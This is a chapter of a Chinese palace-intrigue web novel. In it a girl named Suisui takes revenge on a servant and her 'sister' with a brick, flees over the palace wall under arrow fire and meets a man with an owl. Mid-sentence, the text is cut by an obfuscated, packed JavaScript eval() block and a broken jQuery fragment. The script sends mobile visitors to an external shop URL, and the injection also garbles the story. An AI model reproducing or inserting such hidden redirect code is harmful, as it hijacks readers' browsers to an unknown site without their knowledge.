惊蛰后,天气乍暖还寒,寒冷的北风将挂在屋檐下褪了色的红灯笼刮得呜呜作响。
烛光明明灭灭,依稀可以看到鎏金匾额上写着观星楼三个大字。
观星楼,位于寿康宫东北角,地势高,晴时可眺望星空,星空浩瀚瑰丽,可自从太后信佛后便整日呆在佛堂,已是很少来此地。
因而观星楼很快就变得荒芜下来,只有两个缺了牙的婆子还守在这,日子孤寂,直到公主从外面接回来一个小姑娘,方才又热闹起来。
此刻,观星楼里,两婆子和几个长相秀丽的宫娥簇拥着一个长脸的女人围坐在火炉前,嗑瓜子的嗑瓜子,打牙牌的打牙牌,嘻嘻笑笑的声音不断传出,于这个寒冷的夜晚里多了几丝暖意。
夜渐深,一轮弯月挂在天边,月光清冷冷洒下,从窗边透进来。
长脸女人朝坐在边上的宫娥瞥了一眼,那宫娥领意,起身离开。
甫一离开暖炉,周遭的气温就低了几分,且越是往里走就越冷,宫娥忍不住搓了搓手,跺跺脚,嘟囔道:“这鬼天气,真冷啊!”
心中生怨,她手下也就没轻没重的,“砰”的一声通往里间的大门被她重重推开,刹那间,内里囤积的浓郁寒意倾泻而出。
“嘶……”宫娥倒吸一口气,身子也后退了一步。
从她这个角度往里看,里间一览无余,她一眼就看到了那洞开的窗户,寒冷的北风毫不留情地涌进来,小小一个里间此时此刻犹如冰窖一般。
但就是如此险恶的环境,窗台下却盘坐着一个小小的身影。
任寒风肆虐,她自岿然不动。
宫娥却脸色大变,她冲进来,啪的将洞开的窗户关上,气急败坏道:“你在干什么?难不成想冻出个好歹来,让公主心疼你?”
“呵,你只是个半道回来的野种,而锦媱小姐端庄大方,又温柔可人,你又如何能和她比?”
宫娥略带挑剔地看着盘坐着一动也不动的小小身影,如此寒冷的季节里,她却只穿着一件轻薄的寝衣,个子小小的,头发披散着,长短不一像是被狗啃过一般,脸圆圆的还带着婴儿肥,一双眼睛也圆,眼尾微微上翘,透着无辜懵懂,这是一双如同小鹿一般的眼睛。
加上被冻到的缘故,她脸颊鼻头眼眶都泛着点红晕,看着粉白粉白的。
平心而论,她长得并不差,甚至比之宫娥嘴里的锦媱小姐都要漂亮几分,但谁让她命不好呢?
宫娥眼里划过一抹怜惜,但很快就消失不见,她冷脸催促道:“时辰到了,穗穗小姐你该歇息去了,若不然妈妈就要过来了,她可没我好说话,若被她知道你想对锦媱小姐使手段,怕是不会叫你好过。”
她口中的妈妈便是那个长脸女人,言语间,对其还是有几分忌惮的。
盘坐着的小小身影动了,她掀起眼皮看了一眼眼前的宫娥,没作旁的反应,只是面无表情起身走向床榻。
躺下拉上被子闭眼,一气呵成,像极了没有灵魂的布娃娃。
看着还怪瘆人的,尤其是她朝她看过来时的那双大眼睛,空洞洞的。
宫娥摸了摸手臂上竖起的汗毛,暗骂一声,提着灯笼快步离开,“嘎吱”一声门被关上,黑暗彻底笼罩这片天地,只剩下北风呼啸的声音。
夜越来越深,乌云不断汇聚过来,月光彻底消失不见,外间唠嗑的声音也没了,此刻万籁俱寂。
里间躺在床榻上小小的身影却骤然睁开双眸,眸光清凌凌的,没有半丝睡意。
穗穗迅速起身,从床角扒拉出一个鼓鼓囊囊的包裹,摸了摸,东西还在。
这就是她全部家当,她背着它从鹿台山来到玉京,也将会再次背着它离开玉京返回她的鹿台山去。
穗穗微微垂眸,脑海里闪过一幅幅画面,有穿着高贵华丽的女人疏离的目光,有自称姐姐的少女无辜的模样,也有名为弟弟的小小少年嚣张跋扈目中无人的样子……最后全都崩碎,化作星光消散。
再次睁眼,她眸底再无半点情绪,抛了抛手上的包裹。
该走了。
不过,在走之前,她要去报个仇。
毕竟她是个睚眦必报的野孩子。
黑暗中,她眼里闪过一抹亮光,随即她快速脱下身上丝绸做的寝衣,什么公主亲娘,温柔姐姐,暴躁弟弟,还有那假惺惺的驸马父亲,不要了,通通不要了!
从此刻开始,她就是自己,是鹿台山上的穗穗。
穗穗飞快从包裹里捡出一套棉衣,仍是朴素厚实的手感,她利索套上,再将从身上脱下的那件明显不合身的寝衣丢进被窝里。
不是她的,她不要。
她最后看了一眼这个呆了几个月的地方,清冷冷的,一如她凉掉的心。
走了,穗穗紧了紧身上的包裹,还打了个死结。
黑暗中,她目光如炬,自小生活在山林中的她没有受到半分阻碍,脚步轻巧地踩在地板上,躲开拐角处的花瓶,轻轻推开里间的大门,屋檐下褪了色的红灯笼被寒风吹吹打打,烛光闪烁了几下就彻底熄灭了。
原该守夜的婆子怕冷早躲进被窝里偷懒去了,这倒是方便了穗穗。
在如雷鸣般的呼噜声中,她毫不客气地打开角房的门,些微天光泄出来,她一眼就看到了睡成死猪一样的缺牙婆子。
她故意将门大开,又掀开婆子身上的棉被,寒冷的北风一下子灌进来,呼噜声渐渐地停了。
婆子被冻得身子缩成一团,她睁开眼,却看见床头正站着一个长得圆脸大眼睛的少女,还有她手上坑坑洼洼的板砖。
板砖比少女的脸还大,也不知她怎么抓得住的,婆子脑海里闪过这个念头,刚要说话,那板砖就在眼前放大再放大,“砰”的一下,她两眼一翻,晕过去了。
穗穗看着被她砸晕过去的婆子,神情毫无波澜,仿佛这只鹿台山上的野猪,野猪皮厚,她通常还要补上两板砖。
下意识的,她举起手,“砰砰”的两声,婆子的脑门迅速肿起一个大包。
做完这一切,穗穗随手将门掩上。
她是来报仇的,不是来要人命的。
而这婆子只是第一个。
夜色浓重,北风仍在肆虐,值守的宫侍也受不住躲进背风处偷偷歇个饷,一抹娇小的黑影都他身后一闪而过,他却毫无所觉。
穗穗到底是第一次干坏事,忘记蒙脸了,脸蛋被风吹的通红,但她心底又是无比舒畅的。
这些天所受的憋屈都在今夜得到释放,葡萄大的眼睛亮晶晶的,宛如星子。
寿康宫占地极大,有四大殿,主殿永寿殿,东侧为两仪殿,西侧华音殿,后方明华殿,此外,还有数不清的轩阁楼,能将人绕晕。
好在穗穗的目标很明确,她如同一个影子潜入离得最近的明华殿,没多久她从里面出来径直朝西侧殿行进。
西侧殿便是华音殿,也是宫娥口中的锦媱小姐所居之地。
甫一靠近华音殿,她便发现里面还亮着灯,脚步一顿,她趴在墙边潜伏下来。
然而等了许久,脚都麻了,身子骨都快被冻僵,却始终不见灯灭。
不能再等了。
守夜的宫娥早就困倦了,缩在火炉旁,没有犹豫,穗穗随手敲了她脑门,让她晕死过去。
推开殿门,殿里静悄悄的,没有丝毫声响,看来其主人早就睡下了。
至于为何整夜燃着烛火,其中缘由却是不为外人所知。
不过穗穗并不在意,她来此处只为寻仇罢了。
华音殿地位仅次于永寿殿以及两仪殿,宫娥口中的锦媱小姐无疑地位极高,十分受太后以及公主的宠爱。
穗穗并不嫉妒,只是难免觉得困惑,为何同是女儿,陈锦媱得以住进华音殿,而她却只能住在最偏远的观星楼?连取暖的火炉都要被底下人克扣?
脑海里闪过宫娥说的那句话,野种?
不!她不是什么野种,她是穗穗,鹿台山的穗穗。
穗穗有些空洞的眼神再度变得漠然,她径直来到华丽的拔步床前,隔着层层纱幔,依稀可以看见里面的少女正在熟睡着,她容颜秀美,下半张脸与她有些相像。
看着这张有些相似的面容,穗穗慢慢举起手中的板砖,将将落下之际,那熟睡的少女竟睁开了眼。
“啊!唔……”尖叫声戛然而止,陈锦媱刚看清穗穗的脸,便被她手里硕大的板砖给拍晕了过去。
可声音到底还是传了出去,于寂静的黑夜里格外刺耳,寂静的夜沸腾了。
穗穗神情不变,往陈锦媱脑门补了两板砖,原本秀美的姑娘家脑门突兀地肿起个大包,比缺牙婆子的还大。
到底是娇生惯养长大,皮肉也细嫩,真不如野猪,还得她控制力度,穗穗不禁有些嫌弃。
补了刀,外面也传来了密集的脚步声,很快地,就有人来拍响房门,“大小姐大小姐!”
陈锦媱都被拍晕过去了,自然不能做出回应,眼见外面的人要撞门而入,穗穗推开窗户,小身子往外一钻呲溜一下隐没在夜色里。
*
陈锦媱是被晃醒的,脑袋痛得仿佛要炸开,晕晕的想吐,眼前闪过模糊的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17911650|213134||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
重影,耳朵里响起嗡鸣声,她看不清也听不清,但她记得穗穗那冷酷的脸,还有她手里的大板砖。
眼里浮现出浓郁的恐惧还有恨意,她身子哆嗦了下,一把挥开吵吵嚷嚷的宫娥,怒道:“来人,抓刺客!”
她要把那野种给杀了!
穗穗破窗而出的时候就被发现了,她天生神力,但速度和这些常年训练的宫侍比却并不占优势,只能借着夜色躲开一波又一波的追杀。
北风呼啸,刮过她红彤彤的脸蛋,鼻子嘴唇已经麻木,但她那一双大眼睛却十分明亮。
跑,跑出去,她就自由了!
身后追兵不断,身前也传来喧嚣声,眼见快要堵住,穗穗抬头看着远处那一堵极为巍峨高耸的宫墙,大眼睛闪烁了一下。
“人呢?”
追击而来的宫侍眼睁睁地看着那抹身影在眼前消失不见,不由得面面相觑。
在他们如同无头苍蝇一样乱转找人的时候,戴着帷帽的陈锦媱姗姗来迟。
隔着轻薄的帷幕,她环视四周,语气恨恨的:“这么大一个活人,绝不可能就这样消失,她必定使用了什么障眼法,给我找!掘地三尺也得给我找出来!”
带着恨意的声音远远传来,隐没在阴影里的穗穗正在艰难地攀爬高耸的宫墙。
来玉京也不过数月,平日她只在观星楼跟着教学妈妈学习规矩,极少外出,便是外出身边也有几个宫娥盯着她一举一动。
因而她从不知道离开寿康宫,外面的宫墙竟会如此高大,宛如一座大山,这堵宫墙光滑如面,没有落脚地,也幸亏她常年在山中奔跑,否则就只能留在原地束手就擒了。
可尽管如此,她仍然手酸脚软起来。
颤颤巍巍爬上墙头,她还来不及喘口气,耳尖动了动,一道极低沉的呼呼声传来,这不是人类能发出来的。
穗穗霍然抬头,只见漆黑的夜空上正有一道巨大的影子在盘旋。
它速度极快,但飞行时发出的声音却低不可闻,至少底下的陈锦媱以及那一群宫侍完全没发现自己头顶还有一只庞然大物。
突然,这道巨大的黑影向下俯冲下来,速度竟一下子提高了三成,穗穗心头一紧,手下一翻,大板砖出现。
不曾想,黑影只是掠过她直扑地面而去,只是眨眼,她看见一个身形高大的男人静静站在那里,恍惚间,她还以为是黑影幻作的人。
但显然并不是,在男人肩头,那道巨大黑影稳稳地立着,这是一只鸮,金黄色的瞳孔在夜色下微微发着光。
可穗穗心情不仅没有放松下来,反而更加紧绷了。
深夜,帝宫,一个男人还有一只鸮,古怪极了。
夜色浓重,她看不清男人的模样,但依稀能看出他身份不凡,男人头戴金冠,一身黑金锦袍,举手投足间都散发着巨大的压迫感。
危险!
穗穗眼皮直跳,她趴在墙头,僵着身子,和底下一人一鸮对峙起来。
这一瞬间,似乎很漫长又似乎很短暂,她听见身后陈锦媱传来的暴躁的声音,似乎发现了她,也对,毕竟她一直趴在墙头不动,任谁也会察觉到不对劲。
其实她也想跑的,可身前这个男人实在太危险了,她呼吸都变得轻缓起来,身后的声音悉数传进耳边。
她听见陈锦媱喊:“刺客在那!给本姑娘射!”
一道道破空声传来,危险!危险!
穗穗不得不起身应对身后逼近的危机,她狼狈地往旁边闪躲,可利箭如雨点,一支利箭疾驰而来,“噗呲”一下破开血肉的声音,利箭深深扎进她肩头。
“唔……”她闷哼一声,身后传来陈锦媱亢奋的声音:“继续给本姑娘射,射她,射死了这个刺客!”
身后是要置她于死地的“姐姐”,身前是神秘莫测养了一只鸮的危险又神秘男人,可谓是前有狼后有虎,是要被留下和狼群厮杀,还是在虎蹄下觅一线生机?
穗穗毫不犹豫做出答案,她从墙头一跃而下,可由于一侧肩头负了伤,她失血过多,眼前有些发黑,最后是重重跌在地上的。
还未回神,一股浓郁陌生带着清冽的松香争先恐后涌入鼻腔,她精神一震,警惕抬头看去。
距离如此之近,她终于看清了男人的面容,他额头饱满,鼻梁挺直高耸,一张脸如同刀削般凛厉。
他居高临下地看着她,一双凤眸,内眼角微勾,眼型狭窄,眉骨极高,一双剑眉飞斜入鬓,衬得那双眼睛越发漆黑深邃,宛如渊海,深不可测。
这张脸,穗穗曾远远看见过一回。